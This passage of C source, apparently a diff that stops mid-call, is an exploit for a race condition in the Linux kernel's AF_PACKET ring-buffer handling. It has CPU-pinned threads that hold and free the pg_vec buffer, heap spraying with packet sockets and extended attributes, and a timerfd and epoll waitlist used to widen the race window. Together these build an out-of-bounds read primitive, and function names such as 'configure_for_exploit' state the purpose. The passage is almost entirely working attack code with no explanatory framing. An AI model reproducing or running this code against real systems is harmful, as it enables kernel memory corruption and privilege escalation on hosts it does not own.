struct tpacket_req3 tx_ring, + struct tpacket_req3 rx_ring, + int packet_loss, + int packet_version, + unsigned packet_reserve, + unsigned short filter_len, + struct sock_filter *filter +) +{ + struct victim_packet_socket *v = Calloc(1, sizeof(*v)); + v->sndtimeo = sndtimeo; + v->addr = addr; + v->tx_ring = tx_ring; + v->rx_ring = rx_ring; + v->fd = Socket(AF_PACKET, SOCK_RAW, 0); + v->packet_loss = packet_loss; + v->packet_version = packet_version; + v->packet_reserve = packet_reserve; + v->filter_len = filter_len; + v->filter = Calloc(filter_len, sizeof(*v->filter)); + memcpy(v->filter, filter, filter_len * sizeof(*v->filter)); + return v; +} + +void victim_packet_socket_destroy(struct victim_packet_socket *v) +{ + Close(v->fd); + free(v->filter); + free(v); +} + +void victim_packet_socket_configure_for_exploit(struct victim_packet_socket *v) +{ + Bind(v->fd, (const struct sockaddr *)&v->addr, sizeof(v->addr)); + Setsockopt(v->fd, SOL_SOCKET, SO_SNDTIMEO_NEW, &v->sndtimeo, sizeof(v->sndtimeo)); + Setsockopt(v->fd, SOL_PACKET, PACKET_LOSS, &v->packet_loss, sizeof(v->packet_loss)); + Setsockopt(v->fd, SOL_PACKET, PACKET_VERSION, &v->packet_version, sizeof(v->packet_version)); + Setsockopt(v->fd, SOL_PACKET, PACKET_RESERVE, &v->packet_reserve, sizeof(v->packet_reserve)); + Setsockopt(v->fd, SOL_PACKET, PACKET_TX_RING, &v->tx_ring, sizeof(v->tx_ring)); + Setsockopt(v->fd, SOL_PACKET, PACKET_RX_RING, &v->rx_ring, sizeof(v->rx_ring)); + struct sock_fprog fprog = { .filter = v->filter, .len = v->filter_len }; + Setsockopt(v->fd, SOL_SOCKET, SO_ATTACH_FILTER, &fprog, sizeof(fprog)); +} + +struct simple_xattr_request *simple_xattr_request_create( + const char *filepath, + const char *name, + const char *value, + size_t value_size +) +{ + struct simple_xattr_request *request = Calloc(1, sizeof(*request)); + strncpy(request->filepath, filepath, PATH_MAX); + strncpy(request->name, name, XATTR_NAME_MAX); + request->value = Calloc(1, value_size); + memcpy(request->value, value, value_size); + request->value_size = value_size; + return request; +} + +void simple_xattr_request_destroy(struct simple_xattr_request *request) +{ + free(request->value); + free(request); +} + +struct simple_xattr_request_container *simple_xattr_request_container_create(size_t size) +{ + struct simple_xattr_request_container *container = Calloc(1, sizeof(*container)); + container->requests = Calloc(size, sizeof(*container->requests)); + container->requests_size = size; + return container; +} + +void simple_xattr_request_container_insert( + struct simple_xattr_request_container *container, + struct simple_xattr_request *request +) +{ + assert(container->requests_length < container->requests_size); + container->requests[container->requests_length++] = request; +} + +struct simple_xattr_request *simple_xattr_request_container_pop_at( + struct simple_xattr_request_container *container, + size_t idx +) +{ + assert(idx < container->requests_length); + struct simple_xattr_request *request = container->requests[idx]; + for (size_t i = idx; i < container->requests_length - 1; i++) { + container->requests[i] = container->requests[i + 1]; + } + + container->requests[container->requests_length - 1] = NULL; + container->requests_length--; + return request; +} + +ssize_t simple_xattr_request_container_search_by_value( + struct simple_xattr_request_container *container, + const char *search_value, + size_t search_value_size +) +{ + for (size_t i = 0; i < container->requests_length; i++) { + struct simple_xattr_request *request = container->requests[i]; + assert(search_value_size <= request->value_size); + if (memcmp(request->value, search_value, search_value_size) == 0) + return i; + } + + return -1; +} + +struct simple_xattr_request_container *simple_xattr_request_container_clone( + struct simple_xattr_request_container *container +) +{ + struct simple_xattr_request_container *clone_container = Calloc(1, sizeof(*clone_container)); + + clone_container->requests = Calloc(container->requests_size, sizeof(*clone_container->requests)); + clone_container->requests_size = container->requests_size; + + for (size_t i = 0; i < container->requests_length; i++) { + struct simple_xattr_request *request = simple_xattr_request_create( + container->requests[i]->filepath, + container->requests[i]->name, + container->requests[i]->value, + container->requests[i]->value_size + ); + + simple_xattr_request_container_insert(clone_container, request); + } + + return clone_container; +} + +void simple_xattr_request_container_destroy(struct simple_xattr_request_container *container) +{ + for (size_t i = 0; i < container->requests_length; i++) + simple_xattr_request_destroy(container->requests[i]); + + free(container->requests); + free(container); +} + +void *timerfd_waitlist_thread_fn(void *arg) +{ + pin_thread_on_cpu(CPU_NUMBER_ONE); + struct timerfd_waitlist_thread *t = arg; + Unshare(CLONE_FILES); + pthread_mutex_lock(&t->mutex); + t->unshare_complete = true; + pthread_cond_signal(&t->cond); + pthread_mutex_unlock(&t->mutex); + + Close(STDIN_FILENO); + Close(STDOUT_FILENO); + + int epollfd = Epoll_create1(0); + + struct rlimit nofile_rlimit = {}; + Getrlimit(RLIMIT_NOFILE, &nofile_rlimit); + t->timerfds = Calloc(nofile_rlimit.rlim_cur, sizeof(*t->timerfds)); + t->timerfds[0] = t->timerfd; + t->total_timerfd = 1; + + for (int i = 1; i < (int)nofile_rlimit.rlim_cur; i++) { + t->timerfds[i] = dup(t->timerfds[0]); + if (t->timerfds[i] < 0) + break; + + t->total_timerfd++; + } + + t->epoll_events = Calloc(t->total_timerfd, sizeof(*t->epoll_events)); + for (int i = 0; i < t->total_timerfd; i++) { + t->epoll_events[i].data.fd = t->timerfds[i]; + t->epoll_events[i].events = EPOLLIN; + } + + bool first_setup_epoll_work = true; + + for ( ;; ) { + pthread_mutex_lock(&t->mutex); + while (!t->quit && !t->ready_to_work) + pthread_cond_wait(&t->cond, &t->mutex); + + t->ready_to_work = false; + bool quit = t->quit; + pthread_mutex_unlock(&t->mutex); + + if (quit) + break; + + if (!first_setup_epoll_work) { + Close(epollfd); + epollfd = Epoll_create1(0); + } else { + first_setup_epoll_work = false; + } + + for (int i = 0; i < t->total_timerfd; i++) + Epoll_ctl(epollfd, EPOLL_CTL_ADD, t->timerfds[i], &t->epoll_events[i]); + + pthread_mutex_lock(&t->mutex); + t->work_complete = true; + pthread_cond_signal(&t->cond); + pthread_mutex_unlock(&t->mutex); + } + + for (int i = 1; i < t->total_timerfd; i++) + Close(t->timerfds[i]); + + free(t->epoll_events); + free(t->timerfds); + + return NULL; +} + +void timerfd_waitlist_thread_wait_unshare_complete(struct timerfd_waitlist_thread *t) +{ + pthread_mutex_lock(&t->mutex); + while (!t->unshare_complete) + pthread_cond_wait(&t->cond, &t->mutex); + pthread_mutex_unlock(&t->mutex); +} + +int timerfd_waitlist_thread_get_timerfd(struct timerfd_waitlist_thread *t) +{ + return t->timerfds[0]; +} + +void timerfd_waitlist_thread_send_work(struct timerfd_waitlist_thread *t) +{ + pthread_mutex_lock(&t->mutex); + t->ready_to_work = true; + pthread_cond_signal(&t->cond); + pthread_mutex_unlock(&t->mutex); +} + +void timerfd_waitlist_thread_wait_work_complete(struct timerfd_waitlist_thread *t) +{ + pthread_mutex_lock(&t->mutex); + while (!t->work_complete) + pthread_cond_wait(&t->cond, &t->mutex); + t->work_complete = false; + pthread_mutex_unlock(&t->mutex); +} + +void timerfd_waitlist_thread_quit(struct timerfd_waitlist_thread *t) +{ + pthread_mutex_lock(&t->mutex); + t->quit = true; + pthread_cond_signal(&t->cond); + pthread_mutex_unlock(&t->mutex); + Pthread_join(t->handle, NULL); +} + +struct timerfd_waitlist_thread *timerfd_waitlist_thread_create(int timerfd) +{ + struct timerfd_waitlist_thread *t = Calloc(1, sizeof(*t)); + t->timerfd = timerfd; + pthread_mutex_init(&t->mutex, NULL); + pthread_cond_init(&t->cond, NULL); + Pthread_create(&t->handle, NULL, timerfd_waitlist_thread_fn, t); + return t; +} + +void timerfd_waitlist_thread_destroy(struct timerfd_waitlist_thread *t) +{ + timerfd_waitlist_thread_quit(t); + pthread_cond_destroy(&t->cond); + pthread_mutex_destroy(&t->mutex); + free(t); +} + +struct pg_vec_lock_thread_work *pg_vec_lock_thread_work_create(struct victim_packet_socket *v, int ifindex) +{ + struct pg_vec_lock_thread_work *w = Calloc(1, sizeof(*w)); + w->victim_packet_socket = v; + w->ifindex = ifindex; + return w; +} + +void pg_vec_lock_thread_work_destroy(struct pg_vec_lock_thread_work *w) +{ + free(w); +} + +void *pg_vec_lock_thread_fn(void *arg) +{ + pin_thread_on_cpu(CPU_NUMBER_ZERO); + struct pg_vec_lock_thread *t = arg; + pthread_mutex_lock(&t->mutex); + t->tid = gettid(); + pthread_cond_signal(&t->cond); + pthread_mutex_unlock(&t->mutex); + + Setpriority(PRIO_PROCESS, 0, MAX_NICE); + + for ( ;; ) { + pthread_mutex_lock(&t->mutex); + while (!t->quit && !t->ready_to_work) + pthread_cond_wait(&t->cond, &t->mutex); + + struct pg_vec_lock_thread_work *work = t->work; + t->work = NULL; + t->ready_to_work = false; + bool quit = t->quit; + pthread_mutex_unlock(&t->mutex); + + if (quit) + break; + + struct victim_packet_socket *v = work->victim_packet_socket; + u64 tx_ring_size = (u64)v->tx_ring.tp_block_size * v->tx_ring.tp_block_nr; + u64 rx_ring_size = (u64)v->rx_ring.tp_block_size * v->rx_ring.tp_block_nr; + u64 ring_size = tx_ring_size + rx_ring_size; + void *ring = Mmap(NULL, ring_size, PROT_READ | PROT_WRITE, MAP_SHARED, v->fd, 0); + void *tx_ring = ring + rx_ring_size; + struct tpacket3_hdr *h = tx_ring; + h->tp_len = 1; + h->tp_status = TP_STATUS_SEND_REQUEST; + Munmap(ring, ring_size); + + struct sockaddr_ll addr = { .sll_ifindex = work->ifindex }; + struct msghdr msg = { .msg_name = &addr, .msg_namelen = sizeof(addr) }; + syscall(SYS_clock_gettime, CLOCK_MONOTONIC, &t->sendmsg_begin_time); + syscall(SYS_sendmsg, v->fd, &msg, 0); + + pg_vec_lock_thread_work_destroy(work); + pthread_mutex_lock(&t->mutex); + t->work_complete = true; + pthread_cond_signal(&t->cond); + pthread_mutex_unlock(&t->mutex); + } + + return NULL; +} + +void pg_vec_lock_thread_send_work(struct pg_vec_lock_thread *t, struct pg_vec_lock_thread_work *w) +{ + pthread_mutex_lock(&t->mutex); + t->work = w; + t->ready_to_work = true; + pthread_cond_signal(&t->cond); + pthread_mutex_unlock(&t->mutex); +} + +void pg_vec_lock_thread_wait_in_work(struct pg_vec_lock_thread *t) +{ + pthread_mutex_lock(&t->mutex); + while (t->tid == -1) + pthread_cond_wait(&t->cond, &t->mutex); + pthread_mutex_unlock(&t->mutex); + while (!thread_in_sleep_state(t->tid)) { ; } +} + +void pg_vec_lock_thread_wait_work_complete(struct pg_vec_lock_thread *t) +{ + pthread_mutex_lock(&t->mutex); + while (!t->work_complete) + pthread_cond_wait(&t->cond, &t->mutex); + t->work_complete = false; + pthread_mutex_unlock(&t->mutex); +} + +void pg_vec_lock_thread_quit(struct pg_vec_lock_thread *t) +{ + pthread_mutex_lock(&t->mutex); + t->quit = true; + pthread_cond_signal(&t->cond); + pthread_mutex_unlock(&t->mutex); + Pthread_join(t->handle, NULL); +} + +struct pg_vec_lock_thread *pg_vec_lock_thread_create(void) +{ + struct pg_vec_lock_thread *t = Calloc(1, sizeof(*t)); + pthread_mutex_init(&t->mutex, NULL); + pthread_cond_init(&t->cond, NULL); + t->tid = -1; + t->packet_socket = -1; + t->ifindex = -1; + Pthread_create(&t->handle, NULL, pg_vec_lock_thread_fn, t); + return t; +} + +void pg_vec_lock_thread_destroy(struct pg_vec_lock_thread *t) +{ + pg_vec_lock_thread_quit(t); + free(t); +} + +struct pg_vec_buffer_thread_work *pg_vec_buffer_thread_work_create( + struct victim_packet_socket *v, + bool exploit, + bool cleanup +) +{ + struct pg_vec_buffer_thread_work *w = Calloc(1, sizeof(*w)); + w->victim_packet_socket = v; + w->exploit = exploit; + w->cleanup = cleanup; + return w; +} + +void pg_vec_buffer_thread_work_destroy(struct pg_vec_buffer_thread_work *w) +{ + free(w); +} + +void *pg_vec_buffer_thread_fn(void *arg) +{ + pin_thread_on_cpu(CPU_NUMBER_ZERO); + struct pg_vec_buffer_thread *t = arg; + pthread_mutex_lock(&t->mutex); + t->tid = gettid(); + pthread_cond_signal(&t->cond); + pthread_mutex_unlock(&t->mutex); + + int reclaim_pg_vec_packet_sockets[TOTAL_SPRAY_PG_VEC] = {}; + for (int i = 0; i < TOTAL_SPRAY_PG_VEC; i++) { + reclaim_pg_vec_packet_sockets[i] = Socket(AF_PACKET, SOCK_RAW, 0); + } + + for ( ;; ) { + pthread_mutex_lock(&t->mutex); + while (!t->quit && !t->ready_to_work) + pthread_cond_wait(&t->cond, &t->mutex); + + struct pg_vec_buffer_thread_work *work = t->work; + t->work = NULL; + t->ready_to_work = false; + bool quit = t->quit; + pthread_mutex_unlock(&t->mutex); + + if (quit) + break; + + if (work->exploit) { + struct tpacket_req3 free_pg_vec_req = {}; + syscall( + SYS_setsockopt, + work->victim_packet_socket->fd, + SOL_PACKET, + PACKET_RX_RING, + &free_pg_vec_req, + sizeof(free_pg_vec_req) + ); + + for (int i = 0; i < TOTAL_SPRAY_PG_VEC; i++) { + alloc_pages(reclaim_pg_vec_packet_sockets[i], 2, PAGES_ORDER3_SIZE); + } + } + + if (work->cleanup) { + for (int i = 0; i < TOTAL_SPRAY_PG_VEC; i++) { + free_pages(reclaim_pg_vec_packet_sockets[i]); + } + } + + pg_vec_buffer_thread_work_destroy(work); + + pthread_mutex_lock(&t->mutex); + t->work_complete = true; + pthread_cond_signal(&t->cond); + pthread_mutex_unlock(&t->mutex); + } + + for (int i = 0; i < TOTAL_SPRAY_PG_VEC; i++) { + Close(reclaim_pg_vec_packet_sockets[i]); + } + + return NULL; +} + +void pg_vec_buffer_thread_send_work(struct pg_vec_buffer_thread *t, struct pg_vec_buffer_thread_work *w) +{ + pthread_mutex_lock(&t->mutex); + t->work = w; + t->ready_to_work = true; + pthread_cond_signal(&t->cond); + pthread_mutex_unlock(&t->mutex); +} + +void pg_vec_buffer_thread_wait_in_work(struct pg_vec_buffer_thread *t) +{ + pthread_mutex_lock(&t->mutex); + while (t->tid == -1) + pthread_cond_wait(&t->cond, &t->mutex); + pthread_mutex_unlock(&t->mutex); + while (!thread_in_sleep_state(t->tid)) { ; } +} + +void pg_vec_buffer_thread_wait_work_complete(struct pg_vec_buffer_thread *t) +{ + pthread_mutex_lock(&t->mutex); + while (!t->work_complete) + pthread_cond_wait(&t->cond, &t->mutex); + t->work_complete = false; + pthread_mutex_unlock(&t->mutex); +} + +void pg_vec_buffer_thread_quit(struct pg_vec_buffer_thread *t) +{ + pthread_mutex_lock(&t->mutex); + t->quit = true; + pthread_cond_signal(&t->cond); + pthread_mutex_unlock(&t->mutex); + Pthread_join(t->handle, NULL); +} + +struct pg_vec_buffer_thread *pg_vec_buffer_thread_create(void) +{ + struct pg_vec_buffer_thread *t = Calloc(1, sizeof(*t)); + pthread_mutex_init(&t->mutex, NULL); + pthread_cond_init(&t->cond, NULL); + t->tid = -1; + Pthread_create(&t->handle, NULL, pg_vec_buffer_thread_fn, t); + return t; +} + +void pg_vec_buffer_thread_destroy(struct pg_vec_buffer_thread *t) +{ + pg_vec_buffer_thread_quit(t); + pthread_cond_destroy(&t->cond); + pthread_mutex_destroy(&t->mutex); + free(t); +} + +struct tpacket_rcv_thread_work *tpacket_rcv_thread_work_create( + struct timespec pg_vec_lock_release_time, + struct msghdr *msg +) +{ + struct tpacket_rcv_thread_work *w = Calloc(1, sizeof(*w)); + w->pg_vec_lock_release_time = pg_vec_lock_release_time; + w->msg = msg; + return w; +} + +void tpacket_rcv_thread_work_destroy(struct tpacket_rcv_thread_work *w) +{ + msghdr_destroy(w->msg); + free(w); +} + +void *tpacket_rcv_thread_fn(void *arg) +{ + pin_thread_on_cpu(CPU_NUMBER_ONE); + struct tpacket_rcv_thread *t = arg; + + int trigger_sendmsg_packet_socket = Socket(AF_PACKET, SOCK_PACKET, 0); + + for ( ;; ) { + pthread_mutex_lock(&t->mutex); + while (!t->quit && !t->ready_to_work) + pthread_cond_wait(&t->cond, &t->mutex); + + struct tpacket_rcv_thread_work *work = t->work; + t->work = NULL; + t->ready_to_work = false; + bool quit = t->quit; + pthread_mutex_unlock(&t->mutex); + + if (quit) + break; + + struct timespec cur_time = {}; + syscall(SYS_clock_gettime, CLOCK_MONOTONIC, &cur_time); + struct timespec duration = timespec_sub( + work->pg_vec_lock_release_time, + cur_time + ); + + syscall(SYS_nanosleep, &duration, NULL); + syscall(SYS_sendmsg, trigger_sendmsg_packet_socket, work->msg, 0); + + tpacket_rcv_thread_work_destroy(work); + + pthread_mutex_lock(&t->mutex); + t->work_complete = true; + pthread_cond_signal(&t->cond); + pthread_mutex_unlock(&t->mutex); + } + + return NULL; +} + +void tpacket_rcv_thread_send_work(struct tpacket_rcv_thread *t, struct tpacket_rcv_thread_work *w) +{ + pthread_mutex_lock(&t->mutex); + t->work = w; + t->ready_to_work = true; + pthread_cond_signal(&t->cond); + pthread_mutex_unlock(&t->mutex); +} + +void tpacket_rcv_thread_wait_work_complete(struct tpacket_rcv_thread *t) +{ + pthread_mutex_lock(&t->mutex); + while (!t->work_complete) + pthread_cond_wait(&t->cond, &t->mutex); + t->work_complete = false; + pthread_mutex_unlock(&t->mutex); +} + +void tpacket_rcv_thread_quit(struct tpacket_rcv_thread *t) +{ + pthread_mutex_lock(&t->mutex); + t->quit = true; + pthread_cond_signal(&t->cond); + pthread_mutex_unlock(&t->mutex); + Pthread_join(t->handle, NULL); +} + +struct tpacket_rcv_thread *tpacket_rcv_thread_create(void) +{ + struct tpacket_rcv_thread *t = Calloc(1, sizeof(*t)); + pthread_mutex_init(&t->mutex, NULL); + pthread_cond_init(&t->cond, NULL); + Pthread_create(&t->handle, NULL, tpacket_rcv_thread_fn, t); + return t; +} + +void tpacket_rcv_thread_destroy(struct tpacket_rcv_thread *t) +{ + tpacket_rcv_thread_quit(t); + pthread_cond_destroy(&t->cond); + pthread_mutex_destroy(&t->mutex); + free(t); +} + +struct msghdr *msghdr_create( + void *data, + size_t datalen, + const char *devname +) +{ + void *copy_data = Calloc(1, datalen); + if (data) + memcpy(copy_data, data, datalen); + + struct iovec *iov = Calloc(1, sizeof(*iov)); + iov->iov_base = copy_data; + iov->iov_len = datalen; + + struct sockaddr_pkt *addr = Calloc(1, sizeof(*addr)); + snprintf((char *)addr->spkt_device, sizeof(addr->spkt_device), "%s", devname); + struct msghdr *msghdr = Calloc(1, sizeof(*msghdr)); + msghdr->msg_namelen = sizeof(struct sockaddr_pkt); + msghdr->msg_name = addr; + msghdr->msg_iov = iov; + msghdr->msg_iovlen = 1; + return msghdr; +} + +void msghdr_destroy(struct msghdr *msghdr) +{ + struct iovec *iov = msghdr->msg_iov; + size_t iov_len = msghdr->msg_iovlen; + for (size_t i = 0; i < iov_len; i++) + free(iov[i].iov_base); + + free(iov); + struct sockaddr_pkt *addr = msghdr->msg_name; + free(addr); + free(msghdr); +} + +struct necessary_threads *necessary_threads_create(int timerfd) +{ + struct necessary_threads *nt = Calloc(1, sizeof(*nt)); + + nt->timerfd_waitlist_threads = Calloc(TOTAL_TIMERFD_WAITLIST_THREADS, sizeof(*nt->timerfd_waitlist_threads)); + for (int i = 0; i < TOTAL_TIMERFD_WAITLIST_THREADS; i++) + nt->timerfd_waitlist_threads[i] = timerfd_waitlist_thread_create(timerfd); + + for (int i = 0; i < TOTAL_TIMERFD_WAITLIST_THREADS; i++) + timerfd_waitlist_thread_wait_unshare_complete(nt->timerfd_waitlist_threads[i]); + + nt->pg_vec_lock_thread = pg_vec_lock_thread_create(); + nt->pg_vec_buffer_thread = pg_vec_buffer_thread_create(); + nt->tpacket_rcv_thread = tpacket_rcv_thread_create(); + + return nt; +} + +void necessary_threads_destroy(struct necessary_threads *nt) +{ + for (int i = 0; i < TOTAL_TIMERFD_WAITLIST_THREADS; i++) + timerfd_waitlist_thread_destroy(nt->timerfd_waitlist_threads[i]); + + pg_vec_lock_thread_destroy(nt->pg_vec_lock_thread); + pg_vec_buffer_thread_destroy(nt->pg_vec_buffer_thread); + tpacket_rcv_thread_destroy(nt->tpacket_rcv_thread); + free(nt); +} + +struct pages_order3_read_primitive *pages_order3_read_primitive_create( + struct necessary_threads *necessary_threads, + int configure_network_interface_socket, + int timerfd +) +{ + struct pages_order3_read_primitive *primitive = Calloc(1, sizeof(*primitive)); + for (int i = 0; i < TOTAL_PAGES_ORDER3_GROOM_FOR_SIMPLE_XATTR; i++) + primitive->drain_order3_pages_packet_sockets[i] = Socket(AF_PACKET, SOCK_RAW, 0); + + for (int i = 0; i < TOTAL_PAGES_ORDER3_GROOM_FOR_SIMPLE_XATTR; i++) + primitive->placeholder_packet_sockets[i] = Socket(AF_PACKET, SOCK_RAW, 0); + + primitive->necessary_threads = necessary_threads; + primitive->configure_network_interface_socket = configure_network_interface_socket; + primitive->timerfd = timerfd; + return primitive; +} + +void pages_order3_read_primitive_destroy(struct pages_order3_read_primitive *pages_order3_read_primitive) +{ + pages_order3_read_primitive_cleanup_unused_simple_xattr(pages_order3_read_primitive); + pages_order3_read_primitive_cleanup_unused_packet_sockets(pages_order3_read_primitive); + + if (pages_order3_read_primitive->leaked_content_request) { + Removexattr( + pages_order3_read_primitive->leaked_content_request->filepath, + pages_order3_read_primitive->leaked_content_request->name + ); + + simple_xattr_request_destroy(pages_order3_read_primitive->leaked_content_request); + } + + if (pages_order3_read_primitive->victim_request) { + Removexattr( + pages_order3_read_primitive->victim_request->filepath, + pages_order3_read_primitive->victim_request->name + ); + + simple_xattr_request_destroy(pages_order3_read_primitive->victim_request); + } + + free(pages_order3_read_primitive); +} + +bool pages_order3_read_primitive_build_primitive( + struct pages_order3_read_primitive *pages_order3_read_primitive, + struct timespec timer_interrupt_amplitude +) +{ + u8 packet_data[128] = {}; + *(size_t *)(packet_data) = XATTR_SIZE_MAX; + u32 packet_datalen = 128; + + int dummy_ifindex = If_nametoindex(DUMMY_INTERFACE_NAME); + struct sockaddr_ll addr = { + .sll_family = AF_PACKET, .sll_ifindex = dummy_ifindex, .sll_protocol = htons(ETH_P_ALL) + }; + + int packet_loss_enable = 1; + int packet_version = TPACKET_V3; + unsigned packet_reserve = 46; + + struct tpacket_req3 exploit_tx_ring = {}; + exploit_tx_ring.tp_block_size = PAGES_ORDER5_SIZE; + exploit_tx_ring.tp_block_nr = 1; + exploit_tx_ring.tp_frame_size = PAGES_ORDER5_SIZE; + exploit_tx_ring.tp_frame_nr = + exploit_tx_ring.tp_block_size / exploit_tx_ring.tp_frame_size * exploit_tx_ring.tp_block_nr; + + struct tpacket_req3 exploit_rx_ring = {}; + exploit_rx_ring.tp_block_size = PAGES_ORDER4_SIZE; + exploit_rx_ring.tp_block_nr = 2; + exploit_rx_ring.tp_frame_size = PAGES_ORDER4_SIZE; + exploit_rx_ring.tp_frame_nr = + exploit_rx_ring.tp_block_size / exploit_rx_ring.tp_frame_size * exploit_rx_ring.tp_block_nr; + exploit_rx_ring.tp_sizeof_priv = 32624; + exploit_rx_ring.tp_retire_blk_tov = USHRT_MAX; + + struct sock_filter filter[MAX_FILTER_LEN] = {}; + for (int i = 0; i < MAX_FILTER_LEN - 1; i++) { + filter[i].code = BPF_LD | BPF_IMM; + filter[i].k = 0xcafebabe; + } + + filter[MAX_FILTER_LEN - 1].code = BPF_RET | BPF_K; + filter[MAX_FILTER_LEN - 1].k = 8; + + struct pg_vec_lock_thread_work *pg_vec_lock_thread_work = NULL; + struct pg_vec_buffer_thread_work *pg_vec_buffer_thread_work = NULL; + struct tpacket_rcv_thread_work *tpacket_rcv_thread_work = NULL; + struct msghdr *msghdr = NULL; + + struct __kernel_sock_timeval sndtimeo = { .tv_sec = 1 }; + struct timespec pg_vec_lock_release_time = {}; + struct timespec pg_vec_lock_timeout = { + .tv_sec = sndtimeo.tv_sec, + .tv_nsec = sndtimeo.tv_usec * NSEC_PER_USEC + }; + + struct necessary_threads *necessary_threads = pages_order3_read_primitive->necessary_threads; + + for (int i = 0; i < TOTAL_TIMERFD_WAITLIST_THREADS; i++) + timerfd_waitlist_thread_send_work(necessary_threads->timerfd_waitlist_threads[i]); + + for (int i = 0; i < TOTAL_TIMERFD_WAITLIST_THREADS; i++) + timerfd_waitlist_thread_wait_work_complete(necessary_threads->timerfd_waitlist_threads[i]); + + struct victim_packet_socket *exploit_victim_packet_socket = NULL; + exploit_victim_packet_socket = victim_packet_socket_create( + sndtimeo, addr, exploit_tx_ring, exploit_rx_ring, packet_loss_enable, packet_version, + packet_reserve, MAX_FILTER_LEN, filter + ); + + struct simple_xattr_request_container *container = NULL; + struct simple_xattr_request *simple_xattr_request = NULL; + + int needed_simple_xattr = TOTAL_PAGES_ORDER3_GROOM_FOR_SIMPLE_XATTR * TOTAL_SIMPLE_XATTR_SPRAY_PER_GROOM; + container = simple_xattr_request_container_create(needed_simple_xattr); + + for (int i = 0; i < needed_simple_xattr; i++) { + char value[XATTR_SIZE_MAX] = {}; + char name[XATTR_NAME_MAX + 1] = {}; + snprintf(name, sizeof(name), PAGES_ORDER3_GROOM_SIMPLE_XATTR_NAME_FMT, i); + snprintf(value, sizeof(value), PAGES_ORDER3_GROOM_SIMPLE_XATTR_VALUE_FMT, i); + simple_xattr_request = simple_xattr_request_create( + PAGES_ORDER3_GROOM_SIMPLE_XATTR_FILEPATH, + name, + value, + PAGES_ORDER2_SIZE + ); + + simple_xattr_request_container_insert(container, simple_xattr_request); + } + + pin_thread_on_cpu(CPU_NUMBER_ZERO); + int container_idx = 0; + for (int i = 0; i < TOTAL_PAGES_ORDER3_GROOM_FOR_SIMPLE_XATTR; i++) { + alloc_pages( + pages_order3_read_primitive->drain_order3_pages_packet_sockets[i], + TOTAL_PAGES_ORDER3_PER_DRAIN_FOR_SIMPLE_XATTR, + PAGES_ORDER3_SIZE + ); + + alloc_pages( + pages_order3_read_primitive->placeholder_packet_sockets[i], + 1, + PAGES_ORDER3_SIZE + ); + + for (int j = 0; j < TOTAL_SIMPLE_XATTR_SPRAY_PER_GROOM; j++) { + simple_xattr_request = container->requests[container_idx]; + Setxattr( + simple_xattr_request->filepath, + simple_xattr_request->name, + simple_xattr_request->value, + simple_xattr_request->value_size, + XATTR_CREATE + ); + + container_idx++; + } + } + + for (int i = 0; i < TOTAL_PAGES_ORDER3_GROOM_FOR_SIMPLE_XATTR; i++) { + u64 mmap_size = TOTAL_PAGES_ORDER3_PER_DRAIN_FOR_SIMPLE_XATTR * PAGES_ORDER3_SIZE; + void *m = Mmap( + NULL, + mmap_size, + PROT_READ | PROT_WRITE, + MAP_SHARED, + pages_order3_read_primitive->drain_order3_pages_packet_sockets[i], + 0 + ); + + sprintf(m, DRAIN_PAGES_FOR_SIMPLE_XATTR_DATA_FMT, i); + Munmap(m, mmap_size); + } + + victim_packet_socket_configure_for_exploit(exploit_victim_packet_socket); + + pg_vec_lock_thread_work = pg_vec_lock_thread_work_create( + exploit_victim_packet_socket, + dummy_ifindex + ); + + pg_vec_buffer_thread_work = pg_vec_buffer_thread_work_create( + exploit_victim_packet_socket, + true, // exploit + false // cleanup + ); + + msghdr = msghdr_create(packet_data, packet_datalen, DUMMY_INTERFACE_NAME); + + for (int i = 0; i < TOTAL_PAGES_ORDER3_GROOM_FOR_SIMPLE_XATTR; i++) + free_pages(pages_order3_read_primitive->placeholder_packet_sockets[i]); + + pg_vec_lock_thread_send_work(necessary_threads->pg_vec_lock_thread, pg_vec_lock_thread_work); + pg_vec_lock_thread_wait_in_work(necessary_threads->pg_vec_lock_thread); + + network_interface_down(pages_order3_read_primitive->configure_network_interface_socket, DUMMY_INTERFACE_NAME); + + pg_vec_buffer_thread_send_work(necessary_threads->pg_vec_buffer_thread, pg_vec_buffer_thread_work); + pg_vec_buffer_thread_wait_in_work(necessary_threads->pg_vec_buffer_thread); + + network_interface_up(pages_order3_read_primitive->configure_network_interface_socket, DUMMY_INTERFACE_NAME); + + pg_vec_lock_release_time = timespec_add( + necessary_threads->pg_vec_lock_thread->sendmsg_begin_time, + pg_vec_lock_timeout + ); + + struct itimerspec settime_value = {}; + settime_value.it_value = timespec_add(pg_vec_lock_release_time, timer_interrupt_amplitude); + settime_value.it_interval.tv_nsec = 16; + + pin_thread_on_cpu(CPU_NUMBER_ONE); + Timerfd_settime(pages_order3_read_primitive->timerfd, TFD_TIMER_ABSTIME, &settime_value, NULL); + + tpacket_rcv_thread_work = tpacket_rcv_thread_work_create(pg_vec_lock_release_time, msghdr); + tpacket_rcv_thread_send_work(necessary_threads->tpacket_rcv_thread, tpacket_rcv_thread_work); + + tpacket_rcv_thread_wait_work_complete(necessary_threads->tpacket_rcv_thread); + pg_vec_buffer_thread_wait_work_complete(necessary_threads->pg_vec_buffer_thread); + pg_vec_lock_thread_wait_work_complete(necessary_threads->pg_vec_lock_thread); + + memset(&settime_value, 0, sizeof(settime_value)); + Timerfd_settime(pages_order3_read_primitive->timerfd, TFD_TIMER_ABSTIME, &settime_value, NULL); + + struct simple_xattr_request *victim_request = NULL; + bool overflow_success = false; + + for (size_t i = 0; i < container->requests_length && !overflow_success; i++) { + char value[PAGES_ORDER2_SIZE] = {}; + + ssize_t getxattr_ret = getxattr( + container->requests[i]->filepath, + container->requests[i]->name, + value, + PAGES_ORDER2_SIZE + ); + + if (getxattr_ret < 0) { + if (errno == ERANGE) { + victim_request = simple_xattr_request_container_pop_at(container, i); + overflow_success = true; + } else { + assert(false && "Unexpected error"); + } + } + } + + if (overflow_success) { + pages_order3_read_primitive->victim_request = victim_request; + pages_order3_read_primitive->groom_container = container; + } else { + pin_thread_on_cpu(CPU_NUMBER_ZERO); + for (size_t i = 0; i < container->requests_length; i++) { + simple_xattr_request = container->requests[i]; + Removexattr(simple_xattr_request->filepath, simple_xattr_request->name); + } + + simple_xattr_request_container_destroy(container); + + for (int i = 0; i < TOTAL_PAGES_ORDER3_GROOM_FOR_SIMPLE_XATTR; i++) + free_pages(pages_order3_read_primitive->drain_order3_pages_packet_sockets[i]); + } + + pg_vec_buffer_thread_work = pg_vec_buffer_thread_work_create( + NULL, + false, // exploit + true // cleanup + ); + + pg_vec_buffer_thread_send_work(necessary_threads->pg_vec_buffer_thread, 